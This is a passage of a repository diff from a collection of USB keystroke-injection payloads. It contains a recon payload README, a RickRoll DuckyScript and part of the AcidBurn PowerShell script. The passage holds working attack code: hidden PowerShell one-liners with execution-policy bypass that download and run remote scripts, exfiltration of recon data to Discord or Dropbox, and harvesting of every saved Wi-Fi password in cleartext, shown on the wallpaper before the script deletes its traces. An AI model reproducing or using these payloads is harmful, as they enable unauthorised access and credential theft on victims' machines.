||||||
|
|
||||||
|
Version 2 no longer requires you to host your own version of the script.
|
||||||
|
|
||||||
|
Modifying the execution script is the only necessary interaction.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program enumerates a target PC to collect as much recon data as possible for future engagements. This includes:
|
||||||
|
|
||||||
|
* Hosts PowerShell Version (to know what commands can be run)
|
||||||
|
* Name associated with their Microsoft account (Or ENV UserName variable if one is not detected)
|
||||||
|
* Whether they are in the Admin group or not
|
||||||
|
* The email associated with their Microsoft account (for phishing possibilities)
|
||||||
|
* Other User accounts on their system (for possible privilege escalation)
|
||||||
|
* Details on their login settings (Ex: Min/Max password age and length)
|
||||||
|
* How many days since they have changed their password (Max password age - Days since = Opportunity)
|
||||||
|
* Their GeoLocation (know their approximate where abouts)
|
||||||
|
* Nearby Wifi Networks (Possible lateral movement)
|
||||||
|
* Network Info (Local and Public IP Address; MAC Address; RDP Enabled?)
|
||||||
|
* WLAN Profiles (List of SSIDs and Passwords stored on their PC)
|
||||||
|
* Network Interfaces (What are they connecting in and out with)
|
||||||
|
* System Information (Manufacturer, Model, Serial Number, OS, CPU, RAM, Mainboard BIOS)
|
||||||
|
* Local Users (Accounts on system with Username, name associated with microsoft account and SID)
|
||||||
|
* Information on their hard drives (Indicator of Recon Scope)
|
||||||
|
* COM and Serial Devices (Is there a device connected you can manipulate?)
|
||||||
|
* Active TCP Connections (Poor mans Port Scanning)
|
||||||
|
* Processes, Services, Software, and Drivers (What is running on the computer we can exploit?)
|
||||||
|
* Video Card info (how much vroom vroom?)
|
||||||
|
* Tree Command (Gain a more accurate assessment of what to exfil or use in Phishing attacks)
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Dropbox or Discord
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
|
||||||
|
`$dc` is the variable that stores your discord webhook
|
||||||
|
|
||||||
|
`$db` is the variable that stores your dropbox token
|
||||||
|
|
||||||
|
Fill in either or both of these two methods to exfil your collected data
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
* 0.2
|
||||||
|
* Added additional data queries
|
||||||
|
* Optimized output of data
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
18
Payloads/ADV-RickRoll/ADV-RickRoll.txt
Normal file
18
Payloads/ADV-RickRoll/ADV-RickRoll.txt
Normal file
|
|
@ -0,0 +1,18 @@
|
||||||
|
REM Title: ADV-RickRoll
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This is a one liner payload that will Rick Roll your target. Video will be played at full screen and max volume.
|
||||||
|
REM Upon deployment, payload will pause until a mouse movement is detected and run once one is.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
DELAY 2000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";irm -Uri 'https://jakoby.lol/qee' -O "$D\rr.zip";Expand-Archive "$D\rr.zip" -Des $D\rr -Force;. "$D\rr\rr.ps1"
|
||||||
|
ENTER
|
||||||
120
Payloads/ADV-RickRoll/ReadMe.md
Normal file
120
Payloads/ADV-RickRoll/ReadMe.md
Normal file
|
|
@ -0,0 +1,120 @@
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<h1 align="center">
|
||||||
|
<a href="https://git.io/typing-svg">
|
||||||
|
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Adv+RickRoll!+😈¢er=true&size=30">
|
||||||
|
</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# ADV-RickRoll
|
||||||
|
|
||||||
|
A script used to do an advanced rick roll on your target.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program Rick Rolls your target without opening a muted youtube video.
|
||||||
|
A Rick Roll video is downloaded and played in your powershell console when a mouse movement is detected.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* An internet connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass $D="$env:tmp";irm -Uri 'https://jakoby.lol/qee' -O "$D\rr.zip";Expand-Archive "$D\rr.zip" -Des $D\rr -Force;. "$D\rr\rr.ps1"
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||||
|
</p>
|
||||||
704
Payloads/AcidBurn/AcidBurn.ps1
Normal file
704
Payloads/AcidBurn/AcidBurn.ps1
Normal file
|
|
@ -0,0 +1,704 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : AcidBurn | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby (youtube link with demonstration coming soon) # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This script was not optimized to shorten the code. This script is intended to have as much readability as possible for new coders to learn.
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.
|
||||||
|
The SSID and WiFi password of any current or previously connected to networks.
|
||||||
|
It determines the last day they changed their password and how many days ago.
|
||||||
|
Once the information is gathered the script will pause until a mouse movement is detected
|
||||||
|
Then the script uses Sapi speak to roast their set up and lack of security
|
||||||
|
#>
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Variables
|
||||||
|
|
||||||
|
|
||||||
|
$s=New-Object -ComObject SAPI.SpVoice
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Intro ---------------------------------------------------------------------------------------------------
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Intro Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
RAM Info
|
||||||
|
This will get the amount of RAM the target computer has
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-RAM {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$OS = (Get-WmiObject Win32_OperatingSystem).Name;$OSpos = $OS.IndexOf("|");$OS = $OS.Substring(0, $OSpos)
|
||||||
|
|
||||||
|
$RAM=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1}" -f ($_.sum / 1GB)}
|
||||||
|
$RAMpos = $RAM.IndexOf('.')
|
||||||
|
$RAM = [int]$RAM.Substring(0,$RAMpos).Trim()
|
||||||
|
|
||||||
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
$lowRAM = "$RAM gigs of ram? might as well use pen and paper"
|
||||||
|
|
||||||
|
$okRAM = "$RAM gigs of ram really? I have a calculator with more computing power"
|
||||||
|
|
||||||
|
$goodRAM = "$RAM gigs of ram? Can almost guarantee you have a light up keyboard.. you are a wanna be streamer huh?"
|
||||||
|
|
||||||
|
$impressiveRAM = "$RAM gigs of ram? are you serious? a super computer with no security that is funny right there"
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if($RAM -le 4){
|
||||||
|
return $lowRAM
|
||||||
|
} elseif($RAM -ge 5 -and $RAM -le 12){
|
||||||
|
return $okRAM
|
||||||
|
} elseif($RAM -ge 13 -and $RAM -le 24){
|
||||||
|
return $goodRAM
|
||||||
|
} else {
|
||||||
|
return $impressiveRAM
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If one of the above parameters is not detected function will return $null to avoid sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "Error in search"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "RAM Info Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Public IP
|
||||||
|
This will get the public IP from the target computer
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-PubIP {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no Public IP is detected function will return $null to avoid sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No Public IP was detected"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return "your public I P address is $computerPubIP"
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Pub IP Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Wifi Network and Password
|
||||||
|
This function will custom a tailor response based on how many characters long their password is
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
function Get-Pass {
|
||||||
|
|
||||||
|
#-----VARIABLES-----#
|
||||||
|
# $pwl = their Pass Word Length
|
||||||
|
# $pass = their Password
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro
|
||||||
|
$pos = $pro.IndexOf(':')
|
||||||
|
$pro = $pro.Substring($pos+2).Trim()
|
||||||
|
|
||||||
|
$pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass
|
||||||
|
$passPOS = $pass.IndexOf(':')
|
||||||
|
$pass = $pass.Substring($passPOS+2).Trim()
|
||||||
|
|
||||||
|
if($pro -like '*_5GHz*') {
|
||||||
|
$pro = $pro.Trimend('_5GHz')
|
||||||
|
}
|
||||||
|
|
||||||
|
$pwl = $pass.length
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no network is detected function will return $null to avoid sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No network was detected"
|
||||||
|
return $null
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
$badPASS = "$pro is not a very creative name but at least it is not as bad as your wifi password... only $pwl characters long? $pass ...? really..? $pass was the best you could come up with?"
|
||||||
|
|
||||||
|
$okPASS = "$pro is not a very creative name but at least you are trying a little bit, your password is $pwl characters long, still trash though.. $pass ...? You can do better"
|
||||||
|
|
||||||
|
$goodPASS = "$pro is not a very creative name but At least you are not a total fool... $pwl character long password actually is not bad, but it did not save you from me did it? no..it..did..not! $pass is a decent password though."
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if($pass.length -lt 8) { return $badPASS
|
||||||
|
|
||||||
|
}elseif($pass.length -gt 7 -and $pass.length -lt 12) { return $okPASS
|
||||||
|
|
||||||
|
}else { return $goodPASS
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# echo statement used to track progress while debugging
|
||||||
|
echo "Wifi pass Done"
|
||||||
|
|
||||||
|
###########################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
All Wifi Networks and Passwords
|
||||||
|
This function will gather all current Networks and Passwords saved on the target computer
|
||||||
|
They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt"
|
||||||
|
#>
|
||||||
|
|
||||||
|
Function Get-Networks {
|
||||||
|
# Get Network Interfaces
|
||||||
|
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||||
|
|
||||||
|
# Get Wifi SSIDs and Passwords
|
||||||
|
$WLANProfileNames =@()
|
||||||
|
|
||||||
|
#Get all the WLAN profile names
|
||||||
|
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||||
|
|
||||||
|
#Trim the output to receive only the name
|
||||||
|
Foreach($WLANProfileName in $Output){
|
||||||
|
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||||
|
}
|
||||||
|
$WLANProfileObjects =@()
|
||||||
|
|
||||||
|
#Bind the WLAN profile names and also the password to a custom object
|
||||||
|
Foreach($WLANProfileName in $WLANProfileNames){
|
||||||
|
|
||||||
|
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||||
|
try{
|
||||||
|
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||||
|
}Catch{
|
||||||
|
$WLANProfilePassword = "The password is not stored in this profile"
|
||||||
|
}
|
||||||
|
|
||||||
|
#Build the object and add this to an array
|
||||||
|
$WLANProfileObject = New-Object PSCustomobject
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||||
|
$WLANProfileObjects += $WLANProfileObject
|
||||||
|
Remove-Variable WLANProfileObject
|
||||||
|
return $WLANProfileObjects
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$Networks = Get-Networks
|
||||||
|
|
||||||
|
Add-Type @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
public class PInvoke {
|
||||||
|
[DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd);
|
||||||
|
[DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
$hdc = [PInvoke]::GetDC([IntPtr]::Zero)
|
||||||
|
$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width
|
||||||
|
$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will take the image you generated and set it as the targets wall paper
|
||||||
|
#>
|
||||||
|
|
||||||
|
Function Set-WallPaper {
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.SYNOPSIS
|
||||||
|
Applies a specified wallpaper to the current user's desktop
|
||||||
|
|
||||||
|
.PARAMETER Image
|
||||||
|
Provide the exact path to the image
|
||||||
|
|
||||||
|
.PARAMETER Style
|
||||||
|
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
param (
|
||||||
|
[parameter(Mandatory=$True)]
|
||||||
|
# Provide path to image
|
||||||
|
[string]$Image,
|
||||||
|
# Provide wallpaper style that you would like applied
|
||||||
|
[parameter(Mandatory=$False)]
|
||||||
|
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||||
|
[string]$Style
|
||||||
|
)
|
||||||
|
|
||||||
|
$WallpaperStyle = Switch ($Style) {
|
||||||
|
|
||||||
|
"Fill" {"10"}
|
||||||
|
"Fit" {"6"}
|
||||||
|
"Stretch" {"2"}
|
||||||
|
"Tile" {"0"}
|
||||||
|
"Center" {"0"}
|
||||||
|
"Span" {"22"}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
If($Style -eq "Tile") {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
Else {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class Params
|
||||||
|
{
|
||||||
|
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||||
|
public static extern int SystemParametersInfo (Int32 uAction,
|
||||||
|
Int32 uParam,
|
||||||
|
String lpvParam,
|
||||||
|
Int32 fuWinIni);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$SPI_SETDESKWALLPAPER = 0x0014
|
||||||
|
$UpdateIniFile = 0x01
|
||||||
|
$SendChangeEvent = 0x02
|
||||||
|
|
||||||
|
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||||
|
|
||||||
|
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||||
|
}
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
||||||
|
|
||||||
|
Function WallPaper-Troll {
|
||||||
|
|
||||||
|
if (!$Networks) { Write-Host "variable is null"
|
||||||
|
}else {
|
||||||
|
|
||||||
|
# This is the name of the file the networks and passwords are saved
|
||||||
|
|
||||||
|
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_WiFi-PWD.txt"
|
||||||
|
|
||||||
|
($Networks| Out-String) >> $Env:temp\$FileName
|
||||||
|
|
||||||
|
$content = [IO.File]::ReadAllText("$Env:temp\$FileName")
|
||||||
|
|
||||||
|
|
||||||
|
# this is the message that will be coded into the image you use as the wallpaper
|
||||||
|
|
||||||
|
$hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby"
|
||||||
|
|
||||||
|
# this will be the name of the image you use as the wallpaper
|
||||||
|
|
||||||
|
$ImageName = "dont-be-suspicious"
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get take the information gathered and format it into a .jpg
|
||||||
|
#>
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Drawing
|
||||||
|
|
||||||
|
$filename = "$env:tmp\foo.jpg"
|
||||||
|
$bmp = new-object System.Drawing.Bitmap $w,$h
|
||||||
|
$font = new-object System.Drawing.Font Consolas,18
|
||||||
|
$brushBg = [System.Drawing.Brushes]::White
|
||||||
|
$brushFg = [System.Drawing.Brushes]::Black
|
||||||
|
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
||||||
|
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
||||||
|
$graphics.DrawString($content,$font,$brushFg,500,100)
|
||||||
|
$graphics.Dispose()
|
||||||
|
$bmp.Save($filename)
|
||||||
|
|
||||||
|
# Invoke-Item $filename
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will take your hidden message and use steganography to hide it in the image you use as the wallpaper
|
||||||
|
Then it will clean up the files you don't want to leave behind
|
||||||
|
#>
|
||||||
|
|
||||||
|
echo $hiddenMessage > $Env:temp\foo.txt
|
||||||
|
cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg"
|
||||||
|
|
||||||
|
rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
|
||||||
|
#############################################################################################################################################
|
